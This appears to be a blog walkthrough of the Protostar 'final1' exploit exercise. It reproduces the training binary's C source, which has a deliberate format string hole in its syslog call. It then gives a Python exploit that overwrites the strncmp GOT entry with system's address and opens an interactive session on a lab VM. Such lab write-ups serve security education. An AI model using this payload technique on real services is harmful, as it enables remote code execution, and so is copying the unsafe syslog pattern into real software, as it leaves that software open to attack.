Today In This post, I am going to share with you my walk through experience of Exploit Exercise Proto Star Final1 Level.
let's Start
Source Codes
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
Hint
This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.
When you are exploiting this and you don’t necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.
Core files will be in /tmp.
This level is at /opt/protostar/bin/final1
Vulnerable Function
19 20 | syslog(LOG_USER|LOG_DEBUG, buf); }
|
Planning
Honestly, readers after understanding all functions and source code. I was little bit confused because In first look, My mind doesn't recognize any format vulnerable function but as hint line points, format string vulnerability. So, I decided to check all functions Opcodes and also tried various type of input and boom! Error Occur In syslog function.
After That, hmm, check below.
Exploit
#!/usr/bin/python
import struct
import socket
# Configurations
#
# hex(68+108+79+46829)
# Overwrite With 0xb7ecffb0 [system]
got = 0x0804a1a8 # Where We want to right [strncmp]
payload = 'AAA\xa8\xa1\x04\x08%x%21$x'
payload = 'AAA'
payload += struct.pack("i", got)
payload += struct.pack("i", got+1)
payload += struct.pack("i", got+2)
# 000000b0
payload += "%108x"
payload += "%21$n"
# 0000ffb0
payload += "%79x"
#payload += "%22$n"
# b7ecffb0
payload += "%46829x"
#payload += "%23$n"
print [payload], len(payload)
### Testing #########
#
# Found format string vulnerability
#
# After Inserting Username
#
# login AAABBBB%21$x [BBBB is our targeted Address ]
# AAA\xa8\xa1\x04\x08
# # Strncmp GOT Entry Address : 0804a1a8
#
#
# Username variable Starting Point 0x804a240
# Victim Configuration
PORT = 2994
HOST = "192.168.56.101"
# Create Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect Socket
s.connect((HOST, PORT))
s.settimeout(2.0)
print s.recv(1024)
s.send("username suraj\n")
print s.recv(1024)
s.send("login "+str(payload)+"\n")
try:
while True:
print s.recv(1024),
s.send(raw_input(':~# ')+'\n')
except Exception as E:
print "Error ", E
s.close()
print "Closing socket"
s.close()
For More Detailed Walk through Check Below Provided YouTube Video Playlist